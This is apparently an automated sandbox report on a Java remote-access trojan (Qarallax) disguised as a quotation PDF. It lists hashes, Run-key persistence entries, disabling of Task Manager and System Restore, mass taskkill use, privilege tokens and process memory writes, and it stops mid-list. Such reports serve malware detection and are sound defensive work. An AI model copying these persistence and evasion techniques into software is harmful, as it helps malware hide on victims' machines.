Analysis
-
max time kernel
112s -
max time network
148s -
platform
windows7_x64 -
resource
win7 -
submitted
18-08-2020 19:37
Static task
static1
Behavioral task
behavioral1
Sample
Techno Group Pakistan Quotation Request_Pdf.jar
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Techno Group Pakistan Quotation Request_Pdf.jar
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
Techno Group Pakistan Quotation Request_Pdf.jar
-
Size
403KB
-
MD5
fc115bb8e02dd12ad2e1f5b334174288
-
SHA1
9e41b33dc89f43e509ef4297f29934ef3a9c2945
-
SHA256
8bcdae78528284a03c0a797472234561fd523be8a9a822f51f056cf8e72a1755
-
SHA512
5cc026bc0eca4cf136a6614df24ed84e5cff65bb8558384d4f672db5cb0f40d9614e16c7e78873a871573f6c78951befb8020be9907ebad030e77ff6a32f47d8
Score
10/10
Malware Config
Signatures
-
Qarallax RAT support DLL 1 IoCs
resource yara_rule behavioral1/files/0x0003000000013529-7.dat qarallax_dll -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Sets file execution options in registry 2 TTPs
-
Loads dropped DLL 1 IoCs
pid Process 1044 java.exe -
Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce java.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\HfdZkYR = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\ujTBR\\NXtxm.class\"" java.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run java.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\HfdZkYR = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\ujTBR\\NXtxm.class\"" java.exe -
Drops desktop.ini file(s) 4 IoCs
description ioc Process File opened for modification C:\Users\Admin\ujTBR\Desktop.ini java.exe File created C:\Users\Admin\ujTBR\Desktop.ini java.exe File opened for modification C:\Users\Admin\ujTBR\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\ujTBR\Desktop.ini attrib.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\System32\aNWQA java.exe File opened for modification C:\Windows\System32\aNWQA java.exe -
Kills process with taskkill 19 IoCs
pid Process 1560 taskkill.exe 524 taskkill.exe 1952 taskkill.exe 588 taskkill.exe 1512 taskkill.exe 2176 taskkill.exe 2428 taskkill.exe 2224 taskkill.exe 2284 taskkill.exe 2332 taskkill.exe 2024 taskkill.exe 1860 taskkill.exe 796 taskkill.exe 796 taskkill.exe 2476 taskkill.exe 2008 taskkill.exe 1908 taskkill.exe 1596 taskkill.exe 2380 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1648 powershell.exe 1648 powershell.exe -
Suspicious use of AdjustPrivilegeToken 140 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1616 WMIC.exe Token: SeSecurityPrivilege 1616 WMIC.exe Token: SeTakeOwnershipPrivilege 1616 WMIC.exe Token: SeLoadDriverPrivilege 1616 WMIC.exe Token: SeSystemProfilePrivilege 1616 WMIC.exe Token: SeSystemtimePrivilege 1616 WMIC.exe Token: SeProfSingleProcessPrivilege 1616 WMIC.exe Token: SeIncBasePriorityPrivilege 1616 WMIC.exe Token: SeCreatePagefilePrivilege 1616 WMIC.exe Token: SeBackupPrivilege 1616 WMIC.exe Token: SeRestorePrivilege 1616 WMIC.exe Token: SeShutdownPrivilege 1616 WMIC.exe Token: SeDebugPrivilege 1616 WMIC.exe Token: SeSystemEnvironmentPrivilege 1616 WMIC.exe Token: SeRemoteShutdownPrivilege 1616 WMIC.exe Token: SeUndockPrivilege 1616 WMIC.exe Token: SeManageVolumePrivilege 1616 WMIC.exe Token: 33 1616 WMIC.exe Token: 34 1616 WMIC.exe Token: 35 1616 WMIC.exe Token: SeIncreaseQuotaPrivilege 1616 WMIC.exe Token: SeSecurityPrivilege 1616 WMIC.exe Token: SeTakeOwnershipPrivilege 1616 WMIC.exe Token: SeLoadDriverPrivilege 1616 WMIC.exe Token: SeSystemProfilePrivilege 1616 WMIC.exe Token: SeSystemtimePrivilege 1616 WMIC.exe Token: SeProfSingleProcessPrivilege 1616 WMIC.exe Token: SeIncBasePriorityPrivilege 1616 WMIC.exe Token: SeCreatePagefilePrivilege 1616 WMIC.exe Token: SeBackupPrivilege 1616 WMIC.exe Token: SeRestorePrivilege 1616 WMIC.exe Token: SeShutdownPrivilege 1616 WMIC.exe Token: SeDebugPrivilege 1616 WMIC.exe Token: SeSystemEnvironmentPrivilege 1616 WMIC.exe Token: SeRemoteShutdownPrivilege 1616 WMIC.exe Token: SeUndockPrivilege 1616 WMIC.exe Token: SeManageVolumePrivilege 1616 WMIC.exe Token: 33 1616 WMIC.exe Token: 34 1616 WMIC.exe Token: 35 1616 WMIC.exe Token: SeIncreaseQuotaPrivilege 1064 WMIC.exe Token: SeSecurityPrivilege 1064 WMIC.exe Token: SeTakeOwnershipPrivilege 1064 WMIC.exe Token: SeLoadDriverPrivilege 1064 WMIC.exe Token: SeSystemProfilePrivilege 1064 WMIC.exe Token: SeSystemtimePrivilege 1064 WMIC.exe Token: SeProfSingleProcessPrivilege 1064 WMIC.exe Token: SeIncBasePriorityPrivilege 1064 WMIC.exe Token: SeCreatePagefilePrivilege 1064 WMIC.exe Token: SeBackupPrivilege 1064 WMIC.exe Token: SeRestorePrivilege 1064 WMIC.exe Token: SeShutdownPrivilege 1064 WMIC.exe Token: SeDebugPrivilege 1064 WMIC.exe Token: SeSystemEnvironmentPrivilege 1064 WMIC.exe Token: SeRemoteShutdownPrivilege 1064 WMIC.exe Token: SeUndockPrivilege 1064 WMIC.exe Token: SeManageVolumePrivilege 1064 WMIC.exe Token: 33 1064 WMIC.exe Token: 34 1064 WMIC.exe Token: 35 1064 WMIC.exe Token: SeIncreaseQuotaPrivilege 1064 WMIC.exe Token: SeSecurityPrivilege 1064 WMIC.exe Token: SeTakeOwnershipPrivilege 1064 WMIC.exe Token: SeLoadDriverPrivilege 1064 WMIC.exe Token: SeSystemProfilePrivilege 1064 WMIC.exe Token: SeSystemtimePrivilege 1064 WMIC.exe Token: SeProfSingleProcessPrivilege 1064 WMIC.exe Token: SeIncBasePriorityPrivilege 1064 WMIC.exe Token: SeCreatePagefilePrivilege 1064 WMIC.exe Token: SeBackupPrivilege 1064 WMIC.exe Token: SeRestorePrivilege 1064 WMIC.exe Token: SeShutdownPrivilege 1064 WMIC.exe Token: SeDebugPrivilege 1064 WMIC.exe Token: SeSystemEnvironmentPrivilege 1064 WMIC.exe Token: SeRemoteShutdownPrivilege 1064 WMIC.exe Token: SeUndockPrivilege 1064 WMIC.exe Token: SeManageVolumePrivilege 1064 WMIC.exe Token: 33 1064 WMIC.exe Token: 34 1064 WMIC.exe Token: 35 1064 WMIC.exe Token: SeDebugPrivilege 1560 taskkill.exe Token: SeDebugPrivilege 2008 taskkill.exe Token: SeDebugPrivilege 524 taskkill.exe Token: SeDebugPrivilege 1648 powershell.exe Token: SeDebugPrivilege 1952 taskkill.exe Token: SeDebugPrivilege 2024 taskkill.exe Token: SeIncreaseQuotaPrivilege 1844 WMIC.exe Token: SeSecurityPrivilege 1844 WMIC.exe Token: SeTakeOwnershipPrivilege 1844 WMIC.exe Token: SeLoadDriverPrivilege 1844 WMIC.exe Token: SeSystemProfilePrivilege 1844 WMIC.exe Token: SeSystemtimePrivilege 1844 WMIC.exe Token: SeProfSingleProcessPrivilege 1844 WMIC.exe Token: SeIncBasePriorityPrivilege 1844 WMIC.exe Token: SeCreatePagefilePrivilege 1844 WMIC.exe Token: SeBackupPrivilege 1844 WMIC.exe Token: SeRestorePrivilege 1844 WMIC.exe Token: SeShutdownPrivilege 1844 WMIC.exe Token: SeDebugPrivilege 1844 WMIC.exe Token: SeSystemEnvironmentPrivilege 1844 WMIC.exe Token: SeRemoteShutdownPrivilege 1844 WMIC.exe Token: SeUndockPrivilege 1844 WMIC.exe Token: SeManageVolumePrivilege 1844 WMIC.exe Token: 33 1844 WMIC.exe Token: 34 1844 WMIC.exe Token: 35 1844 WMIC.exe Token: SeIncreaseQuotaPrivilege 1844 WMIC.exe Token: SeSecurityPrivilege 1844 WMIC.exe Token: SeTakeOwnershipPrivilege 1844 WMIC.exe Token: SeLoadDriverPrivilege 1844 WMIC.exe Token: SeSystemProfilePrivilege 1844 WMIC.exe Token: SeSystemtimePrivilege 1844 WMIC.exe Token: SeProfSingleProcessPrivilege 1844 WMIC.exe Token: SeIncBasePriorityPrivilege 1844 WMIC.exe Token: SeCreatePagefilePrivilege 1844 WMIC.exe Token: SeBackupPrivilege 1844 WMIC.exe Token: SeRestorePrivilege 1844 WMIC.exe Token: SeShutdownPrivilege 1844 WMIC.exe Token: SeDebugPrivilege 1844 WMIC.exe Token: SeSystemEnvironmentPrivilege 1844 WMIC.exe Token: SeRemoteShutdownPrivilege 1844 WMIC.exe Token: SeUndockPrivilege 1844 WMIC.exe Token: SeManageVolumePrivilege 1844 WMIC.exe Token: 33 1844 WMIC.exe Token: 34 1844 WMIC.exe Token: 35 1844 WMIC.exe Token: SeDebugPrivilege 588 taskkill.exe Token: SeDebugPrivilege 1908 taskkill.exe Token: SeDebugPrivilege 1860 taskkill.exe Token: SeDebugPrivilege 1512 taskkill.exe Token: SeDebugPrivilege 1596 taskkill.exe Token: SeDebugPrivilege 796 taskkill.exe Token: SeDebugPrivilege 796 taskkill.exe Token: SeDebugPrivilege 2176 taskkill.exe Token: SeDebugPrivilege 2224 taskkill.exe Token: SeDebugPrivilege 2284 taskkill.exe Token: SeDebugPrivilege 2332 taskkill.exe Token: SeDebugPrivilege 2380 taskkill.exe Token: SeDebugPrivilege 2428 taskkill.exe Token: SeDebugPrivilege 2476 taskkill.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1044 java.exe -
Suspicious use of WriteProcessMemory 804 IoCs
description pid Process procid_target PID 1044 wrote to memory of 1524 1044 java.exe 25 PID 1044 wrote to memory of 1524 1044 java.exe 25 PID 1044 wrote to memory of 1524 1044 java.exe 25 PID 1044 wrote to memory of 684 1044 java.exe 26 PID 1044 wrote to memory of 684 1044 java.exe 26 PID 1044 wrote to memory of 684 1044 java.exe 26 PID 684 wrote to memory of 1616 684 cmd.exe 27 PID 684 wrote to memory of 1616 684 cmd.exe 27 PID 684 wrote to memory of 1616 684 cmd.exe 27 PID 1044 wrote to memory of 552 1044 java.exe 28 PID 1044 wrote to memory of 552 1044 java.exe 28 PID 1044 wrote to memory of 552 1044 java.exe 28 PID 552 wrote to memory of 1064 552 cmd.exe 29 PID 552 wrote to memory of 1064 552 cmd.exe 29 PID 552 wrote to memory of 1064 552 cmd.exe 29 PID 1044 wrote to memory of 1536 1044 java.exe 30 PID 1044 wrote to memory of 1536 1044 java.exe 30 PID 1044 wrote to memory of 1536 1044 java.exe 30 PID 1044 wrote to memory of 1700 1044 java.exe 31 PID 1044 wrote to memory of 1700 1044 java.exe 31 PID 1044 wrote to memory of 1700 1044 java.exe 31 PID 1044 wrote to memory of 1800 1044 java.exe 32 PID 1044 wrote to memory of 1800 1044 java.exe 32 PID 1044 wrote to memory of 1800 1044 java.exe 32 PID 1044 wrote to memory of 1320 1044 java.exe 33 PID 1044 wrote to memory of 1320 1044 java.exe 33 PID 1044 wrote to memory of 1320 1044 java.exe 33 PID 1044 wrote to memory of 1176 1044 java.exe 34 PID 1044 wrote to memory of 1176 1044 java.exe 34 PID 1044 wrote to memory of 1176 1044 java.exe 34 PID 1044 wrote to memory of 1772 1044 java.exe 35 PID 1044 wrote to memory of 1772 1044 java.exe 35 PID 1044 wrote to memory of 1772 1044 java.exe 35 PID 1044 wrote to memory of 1812 1044 java.exe 36 PID 1044 wrote to memory of 1812 1044 java.exe 36 PID 1044 wrote to memory of 1812 1044 java.exe 36 PID 1044 wrote to memory of 1836 1044 java.exe 37 PID 1044 wrote to memory of 1836 1044 java.exe 37 PID 1044 wrote to memory of 1836 1044 java.exe 37 PID 1044 wrote to memory of 1648 1044 java.exe 38 PID 1044 wrote to memory of 1648 1044 java.exe 38 PID 1044 wrote to memory of 1648 1044 java.exe 38 PID 1044 wrote to memory of 1564 1044 java.exe 39 PID 1044 wrote to memory of 1564 1044 java.exe 39 PID 1044 wrote to memory of 1564 1044 java.exe 39 PID 1044 wrote to memory of 1560 1044 java.exe 40 PID 1044 wrote to memory of 1560 1044 java.exe 40 PID 1044 wrote to memory of 1560 1044 java.exe 40 PID 1044 wrote to memory of 1904 1044 java.exe 42 PID 1044 wrote to memory of 1904 1044 java.exe 42 PID 1044 wrote to memory of 1904 1044 java.exe 42 PID 1044 wrote to memory of 1868 1044 java.exe 43 PID 1044 wrote to memory of 1868 1044 java.exe 43 PID 1044 wrote to memory of 1868 1044 java.exe 43 PID 1564 wrote to memory of 1864 1564 cmd.exe 44 PID 1564 wrote to memory of 1864 1564 cmd.exe 44 PID 1564 wrote to memory of 1864 1564 cmd.exe 44 PID 1044 wrote to memory of 1940 1044 java.exe 46 PID 1044 wrote to memory of 1940 1044 java.exe 46 PID 1044 wrote to memory of 1940 1044 java.exe 46 PID 1044 wrote to memory of 2016 1044 java.exe 49 PID 1044 wrote to memory of 2016 1044 java.exe 49 PID 1044 wrote to memory of 2016 1044 java.exe 49 PID 1044 wrote to memory of 1988 1044 java.exe 52 PID 1044 wrote to memory of 1988 1044 java.exe 52 PID 1044 wrote to memory of 1988 1044 java.exe 52 PID 1044 wrote to memory of 1488 1044 java.exe 53 PID 1044 wrote to memory of 1488 1044 java.exe 53 PID 1044 wrote to memory of 1488 1044 java.exe 53 PID 1044 wrote to memory of 1464 1044 java.exe 55 PID 1044 wrote to memory of 1464 1044 java.exe 55 PID 1044 wrote to memory of 1464 1044 java.exe 55 PID 1044 wrote to memory of 368 1044 java.exe 56 PID 1044 wrote to memory of 368 1044 java.exe 56 PID 1044 wrote to memory of 368 1044 java.exe 56 PID 1044 wrote to memory of 1336 1044 java.exe 58 PID 1044 wrote to memory of 1336 1044 java.exe 58 PID 1044 wrote to memory of 1336 1044 java.exe 58 PID 1564 wrote to memory of 752 1564 cmd.exe 61 PID 1564 wrote to memory of 752 1564 cmd.exe 61 PID 1564 wrote to memory of 752 1564 cmd.exe 61 PID 1044 wrote to memory of 792 1044 java.exe 62 PID 1044 wrote to memory of 792 1044 java.exe 62 PID 1044 wrote to memory of 792 1044 java.exe 62 PID 1044 wrote to memory of 1076 1044 java.exe 63 PID 1044 wrote to memory of 1076 1044 java.exe 63 PID 1044 wrote to memory of 1076 1044 java.exe 63 PID 1076 wrote to memory of 1052 1076 cmd.exe 64 PID 1076 wrote to memory of 1052 1076 cmd.exe 64 PID 1076 wrote to memory of 1052 1076 cmd.exe 64 PID 1044 wrote to memory of 1652 1044 java.exe 65 PID 1044 wrote to memory of 1652 1044 java.exe 65 PID 1044 wrote to memory of 1652 1044 java.exe 65 PID 1044 wrote to memory of 552 1044 java.exe 68 PID 1044 wrote to memory of 552 1044 java.exe 68 PID 1044 wrote to memory of 552 1044 java.exe 68 PID 1044 wrote to memory of 1692 1044 java.exe 70 PID 1044 wrote to memory of 1692 1044 java.exe 70 PID 1044 wrote to memory of 1692 1044 java.exe 70 PID 1044 wrote to memory of 1744 1044 java.exe 72 PID 1044 wrote to memory of 1744 1044 java.exe 72 PID 1044 wrote to memory of 1744 1044 java.exe 72 PID 1076 wrote to memory of 1404 1076 cmd.exe 73 PID 1076 wrote to memory of 1404 1076 cmd.exe 73 PID 1076 wrote to memory of 1404 1076 cmd.exe 73 PID 1044 wrote to memory of 628 1044 java.exe 74 PID 1044 wrote to memory of 628 1044 java.exe 74 PID 1044 wrote to memory of 628 1044 java.exe 74 PID 1044 wrote to memory of 1932 1044 java.exe 75 PID 1044 wrote to memory of 1932 1044 java.exe 75 PID 1044 wrote to memory of 1932 1044 java.exe 75 PID 1044 wrote to memory of 2008 1044 java.exe 76 PID 1044 wrote to memory of 2008 1044 java.exe 76 PID 1044 wrote to memory of 2008 1044 java.exe 76 PID 1044 wrote to memory of 608 1044 java.exe 77 PID 1044 wrote to memory of 608 1044 java.exe 77 PID 1044 wrote to memory of 608 1044 java.exe 77 PID 1044 wrote to memory of 664 1044 java.exe 78 PID 1044 wrote to memory of 664 1044 java.exe 78 PID 1044 wrote to memory of 664 1044 java.exe 78 PID 1044 wrote to memory of 1576 1044 java.exe 79 PID 1044 wrote to memory of 1576 1044 java.exe 79 PID 1044 wrote to memory of 1576 1044 java.exe 79 PID 1044 wrote to memory of 304 1044 java.exe 81 PID 1044 wrote to memory of 304 1044 java.exe 81 PID 1044 wrote to memory of 304 1044 java.exe 81 PID 1044 wrote to memory of 1976 1044 java.exe 82 PID 1044 wrote to memory of 1976 1044 java.exe 82 PID 1044 wrote to memory of 1976 1044 java.exe 82 PID 1044 wrote to memory of 904 1044 java.exe 83 PID 1044 wrote to memory of 904 1044 java.exe 83 PID 1044 wrote to memory of 904 1044 java.exe 83 PID 1044 wrote to memory of 576 1044 java.exe 84 PID 1044 wrote to memory of 576 1044 java.exe 84 PID 1044 wrote to memory of 576 1044 java.exe 84 PID 1044 wrote to memory of 1796 1044 java.exe 85 PID 1044 wrote to memory of 1796 1044 java.exe 85 PID 1044 wrote to memory of 1796 1044 java.exe 85 PID 1044 wrote to memory of 1940 1044 java.exe 86 PID 1044 wrote to memory of 1940 1044 java.exe 86 PID 1044 wrote to memory of 1940 1044 java.exe 86 PID 1044 wrote to memory of 588 1044 java.exe 87 PID 1044 wrote to memory of 588 1044 java.exe 87 PID 1044 wrote to memory of 588 1044 java.exe 87 PID 1044 wrote to memory of 1332 1044 java.exe 88 PID 1044 wrote to memory of 1332 1044 java.exe 88 PID 1044 wrote to memory of 1332 1044 java.exe 88 PID 1044 wrote to memory of 1536 1044 java.exe 89 PID 1044 wrote to memory of 1536 1044 java.exe 89 PID 1044 wrote to memory of 1536 1044 java.exe 89 PID 1044 wrote to memory of 1812 1044 java.exe 91 PID 1044 wrote to memory of 1812 1044 java.exe 91 PID 1044 wrote to memory of 1812 1044 java.exe 91 PID 1044 wrote to memory of 1848 1044 java.exe 92 PID 1044 wrote to memory of 1848 1044 java.exe 92 PID 1044 wrote to memory of 1848 1044 java.exe 92 PID 1044 wrote to memory of 524 1044 java.exe 93 PID 1044 wrote to memory of 524 1044 java.exe 93 PID 1044 wrote to memory of 524 1044 java.exe 93 PID 1044 wrote to memory of 796 1044 java.exe 95 PID 1044 wrote to memory of 796 1044 java.exe 95 PID 1044 wrote to memory of 796 1044 java.exe 95 PID 1044 wrote to memory of 1508 1044 java.exe 96 PID 1044 wrote to memory of 1508 1044 java.exe 96 PID 1044 wrote to memory of 1508 1044 java.exe 96 PID 1044 wrote to memory of 1952 1044 java.exe 117 PID 1044 wrote to memory of 1952 1044 java.exe 117 PID 1044 wrote to memory of 1952 1044 java.exe 117 PID 1044 wrote to memory of 1824 1044 java.exe 118 PID 1044 wrote to memory of 1824 1044 java.exe 118 PID 1044 wrote to memory of 1824 1044 java.exe 118 PID 1824 wrote to memory of 1936 1824 cmd.exe 120 PID 1824 wrote to memory of 1936 1824 cmd.exe 120 PID 1824 wrote to memory of 1936 1824 cmd.exe 120 PID 1824 wrote to memory of 1568 1824 cmd.exe 121 PID 1824 wrote to memory of 1568 1824 cmd.exe 121 PID 1824 wrote to memory of 1568 1824 cmd.exe 121 PID 1044 wrote to memory of 296 1044 java.exe 122 PID 1044 wrote to memory of 296 1044 java.exe 122 PID 1044 wrote to memory of 296 1044 java.exe 122 PID 296 wrote to memory of 1492 296 cmd.exe 123 PID 296 wrote to memory of 1492 296 cmd.exe 123 PID 296 wrote to memory of 1492 296 cmd.exe 123 PID 296 wrote to memory of 792 296 cmd.exe 124 PID 296 wrote to memory of 792 296 cmd.exe 124 PID 296 wrote to memory of 792 296 cmd.exe 124 PID 1044 wrote to memory of 1396 1044 java.exe 125 PID 1044 wrote to memory of 1396 1044 java.exe 125 PID 1044 wrote to memory of 1396 1044 java.exe 125 PID 1396 wrote to memory of 108 1396 cmd.exe 126 PID 1396 wrote to memory of 108 1396 cmd.exe 126 PID 1396 wrote to memory of 108 1396 cmd.exe 126 PID 1396 wrote to memory of 308 1396 cmd.exe 127 PID 1396 wrote to memory of 308 1396 cmd.exe 127 PID 1396 wrote to memory of 308 1396 cmd.exe 127 PID 1044 wrote to memory of 368 1044 java.exe 128 PID 1044 wrote to memory of 368 1044 java.exe 128 PID 1044 wrote to memory of 368 1044 java.exe 128 PID 368 wrote to memory of 1524 368 cmd.exe 129 PID 368 wrote to memory of 1524 368 cmd.exe 129 PID 368 wrote to memory of 1524 368 cmd.exe 129 PID 368 wrote to memory of 1788 368 cmd.exe 130 PID 368 wrote to memory of 1788 368 cmd.exe 130 PID 368 wrote to memory of 1788 368 cmd.exe 130 PID 1044 wrote to memory of 2020 1044 java.exe 131 PID 1044 wrote to memory of 2020 1044 java.exe 131 PID 1044 wrote to memory of 2020 1044 java.exe 131 PID 1044 wrote to memory of 2024 1044 java.exe 132 PID 1044 wrote to memory of 2024 1044 java.exe 132 PID 1044 wrote to memory of 2024 1044 java.exe 132 PID 2020 wrote to memory of 524 2020 cmd.exe 133 PID 2020 wrote to memory of 524 2020 cmd.exe 133 PID 2020 wrote to memory of 524 2020 cmd.exe 133 PID 2020 wrote to memory of 1224 2020 cmd.exe 134 PID 2020 wrote to memory of 1224 2020 cmd.exe 134 PID 2020 wrote to memory of 1224 2020 cmd.exe 134 PID 1044 wrote to memory of 1336 1044 java.exe 136 PID 1044 wrote to memory of 1336 1044 java.exe 136 PID 1044 wrote to memory of 1336 1044 java.exe 136 PID 1336 wrote to memory of 1052 1336 cmd.exe 137 PID 1336 wrote to memory of 1052 1336 cmd.exe 137 PID 1336 wrote to memory of 1052 1336 cmd.exe 137 PID 1336 wrote to memory of 1912 1336 cmd.exe 138 PID 1336 wrote to memory of 1912 1336 cmd.exe 138 PID 1336 wrote to memory of 1912 1336 cmd.exe 138 PID 1044 wrote to memory of 1488 1044 java.exe 139 PID 1044 wrote to memory of 1488 1044 java.exe 139 PID 1044 wrote to memory of 1488 1044 java.exe 139 PID 1488 wrote to memory of 112 1488 cmd.exe 140 PID 1488 wrote to memory of 112 1488 cmd.exe 140 PID 1488 wrote to memory of 112 1488 cmd.exe 140 PID 1488 wrote to memory of 1652 1488 cmd.exe 141 PID 1488 wrote to memory of 1652 1488 cmd.exe 141 PID 1488 wrote to memory of 1652 1488 cmd.exe 141 PID 1044 wrote to memory of 2004 1044 java.exe 142 PID 1044 wrote to memory of 2004 1044 java.exe 142 PID 1044 wrote to memory of 2004 1044 java.exe 142 PID 2004 wrote to memory of 1548 2004 cmd.exe 143 PID 2004 wrote to memory of 1548 2004 cmd.exe 143 PID 2004 wrote to memory of 1548 2004 cmd.exe 143 PID 2004 wrote to memory of 1692 2004 cmd.exe 144 PID 2004 wrote to memory of 1692 2004 cmd.exe 144 PID 2004 wrote to memory of 1692 2004 cmd.exe 144 PID 1044 wrote to memory of 568 1044 java.exe 145 PID 1044 wrote to memory of 568 1044 java.exe 145 PID 1044 wrote to memory of 568 1044 java.exe 145 PID 1044 wrote to memory of 552 1044 java.exe 146 PID 1044 wrote to memory of 552 1044 java.exe 146 PID 1044 wrote to memory of 552 1044 java.exe 146 PID 568 wrote to memory of 1844 568 cmd.exe 147 PID 568 wrote to memory of 1844 568 cmd.exe 147 PID 568 wrote to memory of 1844 568 cmd.exe 147 PID 552 wrote to memory of 628 552 cmd.exe 148 PID 552 wrote to memory of 628 552 cmd.exe 148 PID 552 wrote to memory of 628 552 cmd.exe 148 PID 552 wrote to memory of 1812 552 cmd.exe 149 PID 552 wrote to memory of 1812 552 cmd.exe 149 PID 552 wrote to memory of 1812 552 cmd.exe 149 PID 1044 wrote to memory of 1744 1044 java.exe 150 PID 1044 wrote to memory of 1744 1044 java.exe 150 PID 1044 wrote to memory of 1744 1044 java.exe 150 PID 1744 wrote to memory of 1864 1744 cmd.exe 151 PID 1744 wrote to memory of 1864 1744 cmd.exe 151 PID 1744 wrote to memory of 1864 1744 cmd.exe 151 PID 1744 wrote to memory of 904 1744 cmd.exe 152 PID 1744 wrote to memory of 904 1744 cmd.exe 152 PID 1744 wrote to memory of 904 1744 cmd.exe 152 PID 1044 wrote to memory of 588 1044 java.exe 153 PID 1044 wrote to memory of 588 1044 java.exe 153 PID 1044 wrote to memory of 588 1044 java.exe 153 PID 1044 wrote to memory of 792 1044 java.exe 155 PID 1044 wrote to memory of 792 1044 java.exe 155 PID 1044 wrote to memory of 792 1044 java.exe 155 PID 792 wrote to memory of 2016 792 cmd.exe 156 PID 792 wrote to memory of 2016 792 cmd.exe 156 PID 792 wrote to memory of 2016 792 cmd.exe 156 PID 792 wrote to memory of 484 792 cmd.exe 157 PID 792 wrote to memory of 484 792 cmd.exe 157 PID 792 wrote to memory of 484 792 cmd.exe 157 PID 1044 wrote to memory of 1808 1044 java.exe 158 PID 1044 wrote to memory of 1808 1044 java.exe 158 PID 1044 wrote to memory of 1808 1044 java.exe 158 PID 1808 wrote to memory of 524 1808 cmd.exe 159 PID 1808 wrote to memory of 524 1808 cmd.exe 159 PID 1808 wrote to memory of 524 1808 cmd.exe 159 PID 1808 wrote to memory of 1616 1808 cmd.exe 160 PID 1808 wrote to memory of 1616 1808 cmd.exe 160 PID 1808 wrote to memory of 1616 1808 cmd.exe 160 PID 1044 wrote to memory of 1052 1044 java.exe 161 PID 1044 wrote to memory of 1052 1044 java.exe 161 PID 1044 wrote to memory of 1052 1044 java.exe 161 PID 1052 wrote to memory of 1912 1052 cmd.exe 162 PID 1052 wrote to memory of 1912 1052 cmd.exe 162 PID 1052 wrote to memory of 1912 1052 cmd.exe 162 PID 1052 wrote to memory of 1404 1052 cmd.exe 163 PID 1052 wrote to memory of 1404 1052 cmd.exe 163 PID 1052 wrote to memory of 1404 1052 cmd.exe 163 PID 1044 wrote to memory of 1520 1044 java.exe 164 PID 1044 wrote to memory of 1520 1044 java.exe 164 PID 1044 wrote to memory of 1520 1044 java.exe 164 PID 1520 wrote to memory of 1952 1520 cmd.exe 165 PID 1520 wrote to memory of 1952 1520 cmd.exe 165 PID 1520 wrote to memory of 1952 1520 cmd.exe 165 PID 1520 wrote to memory of 1588 1520 cmd.exe 166 PID 1520 wrote to memory of 1588 1520 cmd.exe 166 PID 1520 wrote to memory of 1588 1520 cmd.exe 166 PID 1044 wrote to memory of 1652 1044 java.exe 167 PID 1044 wrote to memory of 1652 1044 java.exe 167 PID 1044 wrote to memory of 1652 1044 java.exe 167 PID 1652 wrote to memory of 664 1652 cmd.exe 168 PID 1652 wrote to memory of 664 1652 cmd.exe 168 PID 1652 wrote to memory of 664 1652 cmd.exe 168 PID 1652 wrote to memory of 1992 1652 cmd.exe 169 PID 1652 wrote to memory of 1992 1652 cmd.exe 169 PID 1652 wrote to memory of 1992 1652 cmd.exe 169 PID 1044 wrote to memory of 1604 1044 java.exe 170 PID 1044 wrote to memory of 1604 1044 java.exe 170 PID 1044 wrote to memory of 1604 1044 java.exe 170 PID 1044 wrote to memory of 1908 1044 java.exe 171 PID 1044 wrote to memory of 1908 1044 java.exe 171 PID 1044 wrote to memory of 1908 1044 java.exe 171 PID 1604 wrote to memory of 1692 1604 cmd.exe 173 PID 1604 wrote to memory of 1692 1604 cmd.exe 173 PID 1604 wrote to memory of 1692 1604 cmd.exe 173 PID 1604 wrote to memory of 1104 1604 cmd.exe 174 PID 1604 wrote to memory of 1104 1604 cmd.exe 174 PID 1604 wrote to memory of 1104 1604 cmd.exe 174 PID 1044 wrote to memory of 1864 1044 java.exe 175 PID 1044 wrote to memory of 1864 1044 java.exe 175 PID 1044 wrote to memory of 1864 1044 java.exe 175 PID 1864 wrote to memory of 1900 1864 cmd.exe 176 PID 1864 wrote to memory of 1900 1864 cmd.exe 176 PID 1864 wrote to memory of 1900 1864 cmd.exe 176 PID 1864 wrote to memory of 1940 1864 cmd.exe 177 PID 1864 wrote to memory of 1940 1864 cmd.exe 177 PID 1864 wrote to memory of 1940 1864 cmd.exe 177 PID 1044 wrote to memory of 1616 1044 java.exe 178 PID 1044 wrote to memory of 1616 1044 java.exe 178 PID 1044 wrote to memory of 1616 1044 java.exe 178 PID 1616 wrote to memory of 1676 1616 cmd.exe 179 PID 1616 wrote to memory of 1676 1616 cmd.exe 179 PID 1616 wrote to memory of 1676 1616 cmd.exe 179 PID 1616 wrote to memory of 2008 1616 cmd.exe 180 PID 1616 wrote to memory of 2008 1616 cmd.exe 180 PID 1616 wrote to memory of 2008 1616 cmd.exe 180 PID 1044 wrote to memory of 1928 1044 java.exe 181 PID 1044 wrote to memory of 1928 1044 java.exe 181 PID 1044 wrote to memory of 1928 1044 java.exe 181 PID 1928 wrote to memory of 1944 1928 cmd.exe 182 PID 1928 wrote to memory of 1944 1928 cmd.exe 182 PID 1928 wrote to memory of 1944 1928 cmd.exe 182 PID 1928 wrote to memory of 320 1928 cmd.exe 183 PID 1928 wrote to memory of 320 1928 cmd.exe 183 PID 1928 wrote to memory of 320 1928 cmd.exe 183 PID 1044 wrote to memory of 1588 1044 java.exe 184 PID 1044 wrote to memory of 1588 1044 java.exe 184 PID 1044 wrote to memory of 1588 1044 java.exe 184 PID 1588 wrote to memory of 1508 1588 cmd.exe 185 PID 1588 wrote to memory of 1508 1588 cmd.exe 185 PID 